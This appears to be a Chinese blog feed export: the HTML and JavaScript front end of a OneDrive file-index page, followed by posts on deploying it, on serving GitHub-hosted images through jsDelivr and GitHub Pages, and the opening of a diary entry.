<script src="//s0.pstatp.com/cdn/expire-1-M/fancybox/3.5.7/jquery.fancybox.min.js"></script>
<link href="//s0.pstatp.com/cdn/expire-1-M/fancybox/3.5.7/jquery.fancybox.min.css" rel="stylesheet" />
<style>
.password-wrapper {
display: flex;
align-items: center;
}

.password {
margin: 0 auto;
padding-top: 1em;
display: none;
}

.password input {
height: 2em;
outline: none;
border: solid rgb(218, 215, 215) 1px;
}

.password button {
background: white;
height: 2em;
outline: none;
border: solid rgb(218, 215, 215) 1px;
}

.password button:hover {
color: white;
background: rgb(218, 215, 215);
}

pre * {
font-family: Courier New;
}

.preview {
display: none;
font-size: .8em;
}

.content {
clear: both;
padding: 0 1em;
margin: 0 auto;
text-align: center;
}

.file-name {
line-height: 1em;
padding: 1em 1em 0;
text-align: center;
white-space: nowrap;
overflow: hidden;
}

.btn {
float: right;
text-align: center;
border: solid rgb(218, 215, 215) 1px;
border-radius: 1em;
margin: 1em .2em;
width: 4em;
height: 2em;
line-height: 2em;
user-select: none;
-moz-user-select: none;
-o-user-select: none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
}

.btn:hover {
color: white;
background: rgb(218, 215, 215);
}

.btn.download {
margin-right: 1em;
}

#arrow-back,
#arrow-forward {
color: rgb(218, 215, 215);
}

.loading-wrapper {
display: none;
position: fixed;
height: 2em;
line-height: 2em;
margin-top: .5em;
width: 100%;
z-index: 1;
}

.loading {
color: white;
background: rgb(218, 215, 215);
height: 100%;
width: 8em;
margin: 0 auto;
text-align: center;
border-radius: 1em;
}

ion-icon {
font-size: 1.5em;
}

* {
box-sizing: border-box;
font-family: serif;
}

.markdown-body {
min-width: 200px;
margin: 0 auto;
padding: .7em 1em;
font-size: .8em;
}

.markdown-body h1,
h2,
h3,
h4,
h5,
h6 {
margin-top: 0;
}

.markdown-body img {
max-width: 90%;
max-height: 800px;
width: auto;
height: auto;
display: block;
margin: 0 auto;
}

body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
}

.header-wrapper {
position: fixed;
height: 3em;
width: 100%;
-moz-user-select: none;
-o-user-select: none;
-khtml-user-select: none;
-webkit-user-select: none;
-ms-user-select: none;
user-select: none;
}

.header {
padding: 0 1.8em 0 1em;
height: 100%;
display: flex;
align-items: center;
border-bottom: solid rgb(218, 215, 215) 1px;
}

.logo {
margin-right: .3em;
}

.site {
white-space: nowrap;
/* margin-left: auto;
padding-left: 2em; */
}

.nav {
width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}

.nav-path,
.nav-arr {
font-size: 1em;
height: 1.5em;
margin-right: .3em;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
cursor: default;
}

#main-page:hover,
.nav-path:hover,
.tree-node:hover,
.row.file-wrapper:hover {
color: rgb(90, 101, 133);
cursor: pointer;
}


.container {
position: fixed;
width: 100%;
height: calc(100% - 3em);
margin-top: 3em;
}

.main {
position: relative;
height: 100%;
width: 100%;
}

.left {
position: absolute;
display: inline-grid;
width: 20%;
height: 100%;
font-size: .8em;
overflow: scroll;
}

.tree-node-wrapper {
margin-left: 1.5em;
}

.tree-node {
display: flex;
align-items: center;
}

.tree-node-name {
margin-left: .3em;
white-space: nowrap;
}

.right {
position: absolute;
width: 80%;
height: 100%;
margin-left: 20%;
overflow: scroll;
}

.row {
height: 2.5em;
padding: 0 .8em 0 1em;
display: flex;
align-items: center;
border-bottom: solid rgb(218, 215, 215) 1px;
}

.row.file-wrapper {
font-size: .8em;
padding: 0 1em;
height: 2em;
}

.file {
width: 100%;
display: flex;
align-items: center;
}

.name {
display: flex;
align-items: center;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
width: 70%;
padding-left: .3em;
}

.list-header .name {
width: calc(70% + 1.1em);
padding-left: 0;
}

.time {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
text-align: right;
;
width: 133px;
}

.size {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
margin-left: auto;
}

@media screen and (max-width: 1000px) {
.left {
display: none;
}

.right {
width: 100%;
margin-left: initial;
}
}

@media screen and (max-width: 800px) {
.name {
width: 60%;
}

.list-header .name {
width: calc(60% + 1.1em);
}

.file-name {
overflow-x: scroll;
height: 100%;
}
}

@media screen and (max-width: 600px) {
.name {
width: 75%;
}

.time {
display: none;
}

.header {
padding: 0 .3em;
}

.row {
padding: 0 .3em;
}

.row.file-wrapper {
padding: 0 .3em;
height: 3em;
}

.markdown-body {
padding: .6em .3em;
}

.file-name {
padding: 1em .3em 0;
}

.content {
padding: 0 .3em;
}

.btn.download {
margin-right: .3em;
}

.logo {
width: 2em;
height: 2em;
}


}
</style>
<script>
function createCORSRequest(method, url, timeout) {
let xhr = new XMLHttpRequest();
if ('withCredentials' in xhr) {
xhr.open(method, url, true);
} else if (typeof XDomainRequest !== 'undefined') {
xhr = new XDomainRequest();
xhr.open(method, url);
} else {
xhr = null;
}
if (xhr) {
xhr.timeout = timeout;
}
return xhr;
}

function sendRequest(method, url, data, headers, callback, error, times) {
let xhr = createCORSRequest(method, url, 2500);
xhr.onreadystatechange = () => {
if (xhr.readyState == 4 && xhr.status == 200) {
callback(xhr.responseText);
}
};
xhr.timeout = xhr.onerror = () => {
if (!times) {
times = 0;
}
console.log({
url: url,
data: data,
times: times
})
if (times < 1) {
sendRequest(method, url, data, headers, callback, error, times + 1);
} else if (typeof error === 'function') {
error();
}
}
if (headers) {
for (key in headers) {
if (headers.hasOwnProperty(key)) {
xhr.setRequestHeader(key, headers[key]);
}
}
}
if (data) {
xhr.send(data);
} else {
xhr.send();
}
}

function renderPage(data, cache) {
let files;
if (data) {
files = JSON.parse(data);
window.fileCache.set(files.parent, files);
preCache(files, 0);
} else {
files = cache;
}
if (files.parent === window.backFordwardCache.current) {
renderPath(files.parent);
if (files.encrypted) {
handleEncryptedFolder(files);
} else {
renderFileList(files);
}
renderTreeNode(files);
}
if (document.body.getAttribute('hidden')) {
document.body.removeAttribute('hidden');
}
document.querySelector('.loading-wrapper').style.display = 'none';
}

function renderPath(path) {
const createPathSpan = (text, path) => {
let pathSpan = document.createElement('span');
pathSpan.innerHTML = text.length > 20 ? text.substring(0, 20) + '..' : text;
pathSpan.className = text === '/' ? 'nav-arr' : 'nav-path';
if (path) {
addPathListener(pathSpan, path);
}
return pathSpan;
};

const paths = path.split('/');
let pathSpanWrapper = document.getElementById('path');
pathSpanWrapper.innerHTML = '';
pathSpanWrapper.appendChild(createPathSpan(window.api.root));
let continualPath = '/';
for (let i = 1; i < paths.length - 1; i++) {
continualPath += paths[i];
pathSpanWrapper.appendChild(createPathSpan(paths[i], continualPath));
pathSpanWrapper.appendChild(createPathSpan('/'));
continualPath += '/';
}
pathSpanWrapper.appendChild(createPathSpan(paths[paths.length - 1]));
}

function renderFileList(files) {
switchRightDisplay();

const createFileWrapper = (type, name, time, size, path, url) => {
let fileWrapper = document.getElementById('file-wrapper-templete').content.cloneNode(true);
fileWrapper.querySelector('ion-icon').setAttribute('name', type);
fileWrapper.querySelector('.name').innerHTML = name;
fileWrapper.querySelector('.time').innerHTML = time;
fileWrapper.querySelector('.size').innerHTML = size;
addFileListLineListener(fileWrapper.querySelector('.row.file-wrapper'), path, url, size);
return fileWrapper;
};

const formatDate = date => {
const addZero = num => num > 9 ? num : '0' + num;
date = new Date(date);
const year = date.getFullYear();
const month = addZero(date.getMonth() + 1);
const day = addZero(date.getDate());
const hour = addZero(date.getHours());
const minute = addZero(date.getMinutes());
const second = addZero(date.getSeconds());
return 'yyyy-MM-dd HH:mm:ss'
.replace('yyyy', year)
.replace('MM', month)
.replace('dd', day)
.replace('HH', hour)
.replace('mm', minute)
.replace('ss', second);
};

const formatSize = size => {
let count = 0;
while (size >= 1024) {
size /= 1024;
count++;
}
size = size.toFixed(2);
switch (count) {
case 1:
size += ' KB';
break;
case 2:
size += ' MB';
break;
case 3:
size += ' GB';
break;
case 4:
size += ' TB';
break;
case 5:
size += ' PB';
break;
default:
size += ' B';
}
return size;
};

let fileList = document.getElementById('file-list');
fileList.innerHTML = '';
files.files.forEach(file => {
if (file.name.split('.').pop() === 'md') {
if (file.url) {
renderReadme(files.parent + '/' + file.name, file.url);
}
} else {
const parent = files.parent === window.api.root ? '' : files.parent;
fileList.appendChild(createFileWrapper(
file.url ? 'document' : 'folder',
file.name,
formatDate(file.time),
formatSize(file.size),
parent + '/' + file.name,
file.url
));
}
});
}

async function renderTreeNode(files) {
const createTreeNodeWrapper = (array, type, name, path) => {
let treeNodeWrapper = document.getElementById('tree-node-wrapper-template').content
.cloneNode(true);
let icons = treeNodeWrapper.querySelectorAll('ion-icon');
icons[0].setAttribute('name', array);
icons[1].setAttribute('name', type);
treeNodeWrapper.querySelector('.tree-node-name').innerText = name;
treeNodeWrapper.appendNode = node => treeNodeWrapper.querySelector('.tree-node-wrapper').append(
node);
addTreeNodeListener(treeNodeWrapper.querySelector('.tree-node'), path);
return treeNodeWrapper;
}

const paths = files.parent.split('/');
let absolutePath = max => {
let absolutePath = '';
for (let j = 1; j <= max; j++) {
absolutePath += '/' + paths[j];
}
return absolutePath;
};
let maxIndex = paths.length - 1;
let currentTreeNode = createTreeNodeWrapper('arrow-dropdown',
'folder-open',
paths[maxIndex],
absolutePath(maxIndex)
);
files.files.forEach(file => {
if (!file.url) {
currentTreeNode.appendNode(createTreeNodeWrapper('arrow-dropright',
'folder',
file.name,
files.parent + '/' + file.name
));
}
});

for (let i = maxIndex - 1; i > 0; i--) {
const currentTreeNodeParentAbsolutePath = absolutePath(i);
let currentTreeNodeParent = createTreeNodeWrapper('arrow-dropdown',
'folder',
paths[i],
currentTreeNodeParentAbsolutePath
);
let cache = window.fileCache.get(currentTreeNodeParentAbsolutePath);
if (cache) {
cache.files.forEach(file => {
if (!file.url) {
if (file.name === paths[i + 1]) {
currentTreeNodeParent.appendNode(currentTreeNode);
} else {
currentTreeNodeParent.appendNode(createTreeNodeWrapper(
'arrow-dropright',
'folder',
file.name,
currentTreeNodeParentAbsolutePath + '/' + file.name
));
}
}
});
} else {
currentTreeNodeParent.appendNode(currentTreeNode);
}
currentTreeNode = currentTreeNodeParent;
}

const treeRoot = document.getElementById('tree-root');
treeRoot.innerHTML = '';
const cache = window.fileCache.get(window.api.root);
const currentNodeName = currentTreeNode.querySelector('.tree-node-name').innerText;
if (cache) {
cache.files.forEach(file => {
if (!file.url) {
if (file.name === currentNodeName) {
treeRoot.append(currentTreeNode);
} else {
treeRoot.append(createTreeNodeWrapper(
'arrow-dropright',
'folder',
file.name,
window.api.root + file.name
));
}
}
});
} else {
treeRoot.append(currentTreeNode);
}
}

async function renderReadme(path, url) {
const render = text => {
let markedText;
try {
markedText = marked(text, {
gfm: true,
highlight: (code, lang, callback) => {
return hljs.highlight(lang, code).value;
}
});
} catch (e) {
markedText = marked(text, {
gfm: true,
highlight: (code, lang, callback) => {
return hljs.highlight('bash', code).value;
}
});
}
if (window.backFordwardCache.current + '/README.md' === path) {
if (!window.backFordwardCache.preview) {
document.getElementById('readme').innerHTML = markedText;
document.querySelector('.markdown-body').style.display = 'block';
}
}
let cache = window.fileCache.get(path);
if (!cache || cache === true) {
window.fileCache.set(path, text);
}
};
let text = window.fileCache.get(path);
if (text === true) {
let cacheWaitReadmeFetch = setInterval(() => {
text = window.fileCache.get(path);
if (typeof text === 'object') {
render(text, path);
clearInterval(cacheWaitReadmeFetch);
} else if (text === false) {
clearInterval(cacheWaitReadmeFetch);
}
}, 100);
} else if (text) {
render(text, path);
} else {
window.fileCache.set(path, true);
sendRequest('GET', url, null, null, text => render(text, path), () => window.fileCache.set(path, false));
}
}

function handleEncryptedFolder(files) {
switchRightDisplay('encrypted');
const password = document.querySelector('.password');
const input = password.querySelector('input');
const button = password.querySelector('button');
const buttonParent = button.parentElement;
const buttonClone = button.cloneNode(true);
buttonParent.replaceChild(buttonClone, button);
input.placeholder = '请输入密码';
buttonClone.addEventListener('click', event => {
const passwd = input.value;
if (!input.value) {
return;
}
input.value = '';
input.placeholder = '正在验证..';
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(files.parent, passwd),
window.api.headers,
data => {
const newFiles = JSON.parse(data);
if (newFiles.encrypted) {
input.placeholder = '密码错误';
} else {
window.fileCache.set(newFiles.parent, newFiles);
fetchFileList(newFiles.parent);
}
},
() => window.fileCache.set(newFiles.parent, false)
);
});
}

function addPathListener(elem, path) {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}

function addTreeNodeListener(elem, path) {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}

function addFileListLineListener(elem, path, url, size) {
if (url) {
elem.addEventListener('click', event => {
window.backFordwardCache.preview = true;
const previewHandler = {
copyTextContent: (source, text) => {
let result = false;
let target = document.createElement('pre');
target.style.opacity = '0';
target.textContent = text || source.textContent;
document.body.appendChild(target);
try {
let range = document.createRange();
range.selectNode(target);
window.getSelection().removeAllRanges();
window.getSelection().addRange(range);
document.execCommand('copy');
window.getSelection().removeAllRanges();
result = true;
} catch (e) { }
document.body.removeChild(target);
return result;
},
fileType: suffix => {
Array.prototype.contains = function (search) {
const object = this;
for (const key in object) {
if (object.hasOwnProperty(key)) {
if ((eval('/' + search + '/i')).test(object[key])) {
return true;
}
}
}
return false;
};
if (['bmp', 'jpg', 'png', 'svg', 'webp', 'gif'].contains(suffix)) {
return 'image';
} else if (['mp3', 'flac', 'wav'].contains(suffix)) {
return 'audio';
} else if (['mp4', 'avi', 'mkv', 'flv', 'm3u8'].contains(suffix)) {
return 'video';
} else if (
[
'txt', 'js', 'json', 'css', 'html', 'java', 'c', 'cpp', 'php',
'cmd', 'ps1',
'bat', 'sh', 'py', 'go', 'asp',
].contains(suffix)
) {
return 'text';
} else if (
['doc', 'docx', 'ppt', 'pptx', 'xls', 'xlsx', 'mpp', 'rtf', 'vsd', 'vsdx'].contains(suffix)
) {
return 'office';
}
},
loadResource: (resource, callback) => {
let type;
switch (resource.split('.').pop()) {
case 'css':
type = 'link';
break;
case 'js':
type = 'script';
break;
}
let element = document.createElement(type);
let loaded = false;
if (typeof callback === 'function') {
element.onload = element.onreadystatechange = () => {
if (!loaded && (!element.readyState || /loaded|complete/.test(
element.readyState))) {
element.onload = element.onreadystatechange = null;
loaded = true;
callback();
}
}
}
if (type === 'link') {
element.href = resource;
element.rel = 'stylesheet';
} else {
element.src = resource;
}
document.getElementsByTagName('head')[0].appendChild(element);
},

createDplayer: (video, type, elem) => {
const host = '//s0.pstatp.com/cdn/expire-1-M';
const resources = [
'/dplayer/1.25.0/DPlayer.min.css',
'/dplayer/1.25.0/DPlayer.min.js',
'/hls.js/0.12.4/hls.light.min.js',
'/flv.js/1.5.0/flv.min.js'
];
let unloadedResourceCount = resources.length;
resources.forEach(resource => {
previewHandler.loadResource(host + resource, () => {
if (!--unloadedResourceCount) {
let option = {
url: video
}
if (type === 'flv') {
option.type = 'flv';
}
new DPlayer({
container: elem,
screenshot: true,
video: option
});
}
})
});
}
}
const suffix = path.split('.').pop();
let content = document.querySelector('.content');
switch (previewHandler.fileType(suffix)) {
case 'image':
let img = new Image();
img.style.maxWidth = '100%';
img.src = url;
let fancy = document.createElement('a');
fancy.setAttribute('data-fancybox', 'image');
fancy.href = img.src;
fancy.append(img);
content.innerHTML = '';
content.append(fancy);
break;
case 'audio':
let audio = new Audio();
audio.style.outline = 'none';
audio.preload = 'auto';
audio.controls = 'controls';
audio.style.width = '100%';
audio.src = url;
content.innerHTML = '';
content.append(audio);
break;
case 'video':
let video = document.createElement('div');
previewHandler.createDplayer(url, suffix, video);
content.innerHTML = '';
content.append(video);
break;
case 'text':
let pre = document.createElement('pre');
let code = document.createElement('code');
pre.append(code);
pre.style.background = 'rgb(245,245,245)';
pre.style['overflow-x'] = 'scroll';
pre.classList.add(suffix);
content.style['text-align'] = 'initial';
content.innerHTML = '';
content.append(pre);
sendRequest('GET', url, null, null, data => {
code.textContent = data;
if (size.indexOf(' B') >= 0 || size.indexOf(' KB') &&
size.split(' ')[0] < 100
) {
hljs.highlightBlock(pre);
}
});
break;
case 'office':
const officeOnline = '//view.officeapps.live.com/op/view.aspx?src=' + encodeURIComponent(url);
let div = document.createElement('div');
div.style.lineHeight = '2em';
div.style.background = 'rgba(218, 215, 215, 0.21)';
div.style.webkitTapHighlightColor = 'rgba(0, 0, 0, 0)';
div.style.cursor = 'pointer';
div.innerHTML = '新窗口打开';
div.addEventListener('click', () => window.open(officeOnline));
content.innerHTML = '';
content.appendChild(div);
if (document.body.clientWidth >= 480) {
let iframe = document.createElement('iframe');
iframe.width = '100%';
iframe.style.height = '41em';
iframe.style.border = '0';
iframe.src = officeOnline;
content.appendChild(iframe);
}
break;
default:
content.style['text-align'] = 'center';
content.innerHTML = '该文件不支持预览';
break;

}
document.querySelector('.file-name').innerHTML = path;
document.querySelector('.btn.download').addEventListener('click',
() => location.href = url
);
document.querySelector('.btn.quote').addEventListener('click',
event => {
previewHandler.copyTextContent(null, window.api.url + '?file=' + path);
const btn = document.querySelector('.btn.quote');
btn.innerHTML = '已复制';
setTimeout(() => btn.innerHTML = '引用', 250);
}
);
document.querySelector('.btn.share').addEventListener('click',
event => {
const sharePath = () => {
let arr = window.backFordwardCache.current.split('/');
let r = '';
for (let i = 1; i < arr.length; i++) {
r += '/' + arr[i];
}
return r;
}
previewHandler.copyTextContent(null,
window.location.origin +
window.location.pathname +
'?path=' + sharePath());
const btn = document.querySelector('.btn.share');
btn.innerHTML = '已复制';
setTimeout(() => btn.innerHTML = '分享', 250);
}
);
switchRightDisplay('preview');

let start = null;
let right = document.querySelector('.right');
const scrollToBottom = (timestamp) => {
if (!start) start = timestamp;
let progress = timestamp - start;
let last = right.scrollTop;
right.scrollTo(0, right.scrollTop + 14);
if (right.scrollTop !== last && progress < 1000 * 2) {
window.requestAnimationFrame(scrollToBottom);
}
};
window.requestAnimationFrame(scrollToBottom);
});
} else {
elem.addEventListener('click', event => {
fetchFileList(path);
switchBackForwardStatus(path);
});
}
}

function addBackForwardListener() {
document.getElementById('arrow-back').addEventListener('click', back);
document.getElementById('arrow-forward').addEventListener('click', forward);
document.querySelector('#main-page').addEventListener('click', () => {
fetchFileList(window.api.root);
switchBackForwardStatus(window.api.root);
});
}

function switchRightDisplay(display) {
if (display === 'preview') {
document.querySelector('.list-header').style.display = 'none';
document.querySelector('#file-list').style.display = 'none';
document.querySelector('.markdown-body').style.display = 'none';
document.querySelector('.password').style.display = 'none';
document.querySelector('.preview').style.display = 'initial'
} else if (display === 'encrypted') {
document.querySelector('.list-header').style.display = 'none';
document.querySelector('#file-list').style.display = 'none';
document.querySelector('.markdown-body').style.display = 'none';
document.querySelector('.preview').style.display = 'none';
document.querySelector('.password').style.display = 'initial';
document.querySelector('#readme').innerHTML = '';
let content = document.querySelector('.preview .content');
if (content) {
document.querySelector('.preview .content').innerHTML = '';
}
} else {
document.querySelector('.list-header').style.display = 'initial';
document.querySelector('#file-list').style.display = 'initial';
document.querySelector('.markdown-body').style.display = 'none'
document.querySelector('.preview').style.display = 'none';
document.querySelector('.password').style.display = 'none';
document.querySelector('#readme').innerHTML = '';
let content = document.querySelector('.preview .content');
if (content) {
document.querySelector('.preview .content').innerHTML = '';
}
}
}

function switchBackForwardStatus(path) {
if (path) {
window.backFordwardCache.deepest = path;
}
if (window.backFordwardCache.root !== window.backFordwardCache.current) {
window.backFordwardCache.backable = true;
document.getElementById('arrow-back').style.color = 'black';
} else {
window.backFordwardCache.backable = false;
document.getElementById('arrow-back').style.color = 'rgb(218, 215, 215)';
}
if (window.backFordwardCache.deepest !== window.backFordwardCache.current) {
window.backFordwardCache.forwardable = true;
document.getElementById('arrow-forward').style.color = 'black';
} else {
window.backFordwardCache.forwardable = false;
document.getElementById('arrow-forward').style.color = 'rgb(218, 215, 215)';
}
}

function back() {
if (!window.backFordwardCache.backable) {
return;
}
if (window.backFordwardCache.preview) {
fetchFileList(window.backFordwardCache.current);
} else {
let former = (() => {
let formerEndIndex = window.backFordwardCache.current.lastIndexOf('/');
return window.backFordwardCache.current.substring(0, formerEndIndex);
})();
former = former || window.api.root;
fetchFileList(former);
switchBackForwardStatus();
}
// console.log(window.backFordwardCache);
}

function forward() {
if (!window.backFordwardCache.forwardable) {
return
}
const current = window.backFordwardCache.current === window.api.root ? '' : window.backFordwardCache.current
const subLength = current ? current.length : 0;
const later = current + '/' +
window.backFordwardCache.deepest.substring(subLength).split('/')[1];
fetchFileList(later);
switchBackForwardStatus();
// console.log(window.backFordwardCache);
}

async function preCache(files, level) {
if (level > 2) return;
files.files.forEach(file => {
const parent = files.parent === '/' ? '' : files.parent
const path = parent + '/' + file.name;
if (!file.url) {
// console.log('caching ' + path + ', level ' + level);
window.fileCache.set(path, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(path),
window.api.headers,
data => {
const files = JSON.parse(data);
window.fileCache.set(path, files);
preCache(files, level + 1);
},
() => window.fileCache.set(path, false)
);
} else if (file.name.split('.').pop() === 'md') {
// console.log('caching ' + path + ', level ' + level);
window.fileCache.set(path, true);
sendRequest('GET', file.url, null, null, text => window.fileCache.set(path, text), () => window.fileCache.set(path, false));
}
});
}

async function preCacheCheck(cache, path) {
cache.files.forEach(file => {
const prefix = path === window.api.root ? '' : path;
const nextPath = prefix + '/' + file.name;
const pathCache = window.fileCache.get(nextPath);
if (!file.url) {
if (!pathCache && pathCache !== true) {
// console.log('inner caching ' + nextPath);
window.fileCache.set(nextPath, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(nextPath),
window.api.headers,
data => {
const files = JSON.parse(data);
window.fileCache.set(nextPath, files);
preCache(files, 0);
},
() => window.fileCache.set(nextPath, false)
);
}
} else if (file.name.split('.').pop() === 'md') {
if (!pathCache && pathCache !== true) {
// console.log('inner caching ' + nextPath);
window.fileCache.set(nextPath, true);
sendRequest('GET', file.url, null, null, text => window.fileCache.set(nextPath,
text), () => window.fileCache.set(nextPath,
false));
}
}
});
}

function fetchFileList(path) {
// console.log('fetching ' + path);
let loading = document.querySelector('.loading-wrapper');
loading.style.display = 'initial';
window.backFordwardCache.preview = false;
window.backFordwardCache.current = path;
let cache = window.fileCache.get(path);
if (cache === true) {
let cacheWaitFileListFetch = setInterval(() => {
cache = window.fileCache.get(path);
if (typeof cache === 'object') {
renderPage(null, cache);
preCacheCheck(cache, path);
clearInterval(cacheWaitFileListFetch);
} else if (cache === false) {
clearInterval(cacheWaitFileListFetch);
loading.style.color = 'red';
loading.innerText = 'Failed!';
setTimeout(() => {
loading.style.display = 'none';
loading.style.color = 'white';
loading.innerText = 'Loading..';
}, 2000);
}
}, 100);
} else if (cache) {
renderPage(null, cache);
preCacheCheck(cache, path);
} else {
window.fileCache.set(path, true);
sendRequest(window.api.method,
window.api.url,
window.api.formatPayload(path),
window.api.headers,
renderPage
);
}
}

document.addEventListener('DOMContentLoaded', () => {
document.title = window.GLOBAL_CONFIG.SITE_NAME;
document.querySelector('.site').textContent = window.GLOBAL_CONFIG.SITE_NAME;
window.api = {
root: '/',
url: window.GLOBAL_CONFIG.SCF_GATEWAY,
method: 'POST',
formatPayload: (path, passwd) => {
return '?path=' + encodeURIComponent(path) +
'&encrypted=' + window.api.accessToken.encrypted +
'&plain=' + window.api.accessToken.plain +
'&passwd=' + passwd;
},
headers: {
'Content-type': 'application/x-www-form-urlencoded'
}
}
window.backFordwardCache = {
root: window.api.root,
deepest: window.api.root,
current: window.api.root,
backable: false,
forwardable: false,
preview: false
}
window.fileCache = new Map();
const initialPath = new URLSearchParams(window.location.search).get('path') || window.api.root;
if (window.GLOBAL_CONFIG.IS_CF) {
window.api.accessToken = {
encrypted: '',
plain: ''
};
fetchFileList(initialPath);
addBackForwardListener();
} else {
sendRequest(window.api.method,
window.api.url + '?accessToken',
null,
window.api.headers,
data => {
const accessToken = JSON.parse(data);
window.api.accessToken = {
encrypted: accessToken.encrypted,
plain: accessToken.plain
};
fetchFileList(initialPath);
addBackForwardListener();
}
);
}
});
</script>
</head>

<body hidden="hidden">
<template id="tree-node-wrapper-template">
<div class="tree-node-wrapper">
<div class="tree-node">
<ion-icon></ion-icon>
<ion-icon></ion-icon>
<div class="tree-node-name"></div>
</div>
</div>
</template>
<template id="file-wrapper-templete">
<div class="row file-wrapper">
<div class="file">
<ion-icon></ion-icon>
<span class="name"></span>
<span class="time"></span>
<span class="size"></span>
</div>
</div>
</template>
<div class="loading-wrapper">
<div class="loading">Loading...</div>
</div>
<div class="header-wrapper">
<div class="header">
<ion-icon id="arrow-back" class="logo" name="arrow-back"></ion-icon>
<ion-icon id="arrow-forward" class="logo" name="arrow-forward"></ion-icon>
<ion-icon id="main-page" class="logo" name="folder"></ion-icon>
<div class="nav">
<span id="path">
</span>
</div>
<span class="site" id="nav-site">ONEDRIVE</span>
</div>
</div>
<div class="container">
<div class="main">
<div class="left">
<div id="tree-root">
</div>
</div>
<div class="right">
<div class="list-header">
<div class="row">
<div class="file">
<span class="name">ITEMS</span>
<span class="time">TIME</span>
<span class="size">SIZE</span>
</div>
</div>
</div>
<div id="file-list">
</div>
<div class="markdown-body">
<div id="readme">
</div>
</div>
<div class="preview">
<div class="info">
<div class="file-name"></div>
<div class="btn download">下载</div>
<div class="btn quote">引用</div>
<div class="btn share">分享</div>
</div>
<div class="content"></div>
</div>
<div class="password-wrapper">
<div class="password">
<input type="password">
<button>提交</button>
</div>
</div>
</div>
</div>
</div>
</body>

</html>

完成界面:
cloudflare editor


题外话:

那个获取refresh_token的网页并不是不可用,但是成功率巨低,我试了前前后后三十多次才一次成功……

heroku的登录需要科学上网,怎么科学上网就不要问我了,Google上大把……

以后发文件我会放到我的onedrive上,大家可以自取,地址是http://drive.bili33.top/,友链页面也有链接。

我自己部署的heroku项目不会开放给大家获取refresh_token,因为获取完一次要到后台删除refresh_token才能进行下一次的获取

]]>
+ + + + + Software + + + + + + + Software + + Onedrive + + FODI + + + +
+ + + + + jsDelivr的正确打开方式 + + /posts/jsDelivr-Usage/ + +

文章已经在2020.4.5更新

开始持续高产前几天开始,github的raw文件下载域名raw.githubusercontent.com被墙了,导致我的网站很多图片都是404(因为我是直接使用github的文件),我转为使用cloudflare的workers反代。但是反代有每日10W次的请求次数限制。万一以后我的网站访问量增大了呢?这样岂不是不够用?(在想Peach)

没错,我在想もも

今天早上我才在【日常吐槽04】的评论区里面说不会用jsDelivr,到了晚上,嗯,真香……

jsDelivr

jsDelivr是一个比较好的CDN平台,官方号称jsDelivr – Open Source CDN free, fast, and reliable,简单来说就是开源的CDN,免费、快、可靠这样的

不过确实,这玩意的口碑也挺好,那我就按照我半天的使用体验,来说说这玩意的正确打开方式吧


你需要准备:

一个github账号

开始操作

你需要登录你的Github,创建一个你想用来放文件的仓库,然后在这个仓库里面上传你的文件,像我这样

上传文件后的仓库

然后点击Release,新建一个版本,在上面的小方框里面填写你的版本号,尽量填写数字,例如1.0之类的,不要用中文!!!

新建Release

接着直接调用jsDelivr,例如我在名为Picture-repo的仓库发布了1.0版本,那么我访问链接:

https://cdn.bili33.top/gh/Vikutorika/assets@master/AboutMe/logo-mini.png

就可以直接调用我的头像,按照官方的格式,就是

https://cdn.jsdelivr.net/gh/<username>/<repo-name>@<version>/<path>

的样子,解释一下:

<username>就改成自己的名字,<repo-name>改成自己的仓库名字,<version>就是你的release版本,如果不填会自动选择最新的release<path>改成自己的文件路径。当我上传的时候我的文件夹路径是.\folder\example.png的话,那么<path>就要改成folder/example.png

但是请注意!当你的release包大于50MB,那么jsdelivr会给你报错并且不给你提供加速服务,例如下面这条链接:

https://cdn.jsdelivr.net/gh/NotFoundNEKKO/Storage@1.0/表情包/真叫人质壁分离.jpg

点开就会发现提示:

Package size exceeded the configured limit of 50 MB. Try https://github.com/NotFoundNEKKO/Storage/tree/1.0/表情包/真叫人质壁分离.jpg instead.

所以说还是要尽量减少自己每个release的大小,如果说太大了建议分成几个仓库放哦~

从群友那里学来的:当你的版本号写为master时,只需要第一次发布release即可,后面直接用master分支的文件,也没有50MB的文件包大小限制


2020.4.5 更新:Github Page法

根据评论区@Anonymous的回复,发现有另外一种方式也能够访问Github中的文件(而且还是raw)

我们还是以上面那个仓库为例子,先到仓库中的设置,打开Github Pages服务

打开Github Pages服务

然后我们可以看到Github将我的这个仓库的page服务部署到了https://bili33.top/Picture-repo/这个链接

我们尝试访问仓库中的文件

在这里我访问的是我的网站头图↓

网站头图(以Page方式加载)

可以看到,的确是可以进行访问的。而如果在Github Pages服务中开启自定义域名的话,还能够配合CloudFlare的CDN进行一波加(jian)


题外话:

但是还是有人要直接访问raw.githubusercontent.com域名,所以我在这里开放出我的反代

当你访问了域名为raw.githubusercontent.com的文件后(后面应该有一大串的文件路径链接),把它改成下面任意一个域名

反代1:cdn.bili33.top(每日请求上限较少,因为我的反代都在这里)

反代2:bilicdn.tk(推荐)

希望能够帮到大家吧~

]]>
+ + + + + Software + + + + + + + Software + + CDN + + jsdelivr + + + +
+ + + + + 日常吐槽04 + + /posts/diary4/ + +

最近甚是无聊,因为做完了作业又不能出门(这都要从一只蝙蝠说起……),天天在家里打命(tu)运(ming)2,在家里躺着都算给国家做贡献……也没干什么技术活,就还是来吐槽一下吧

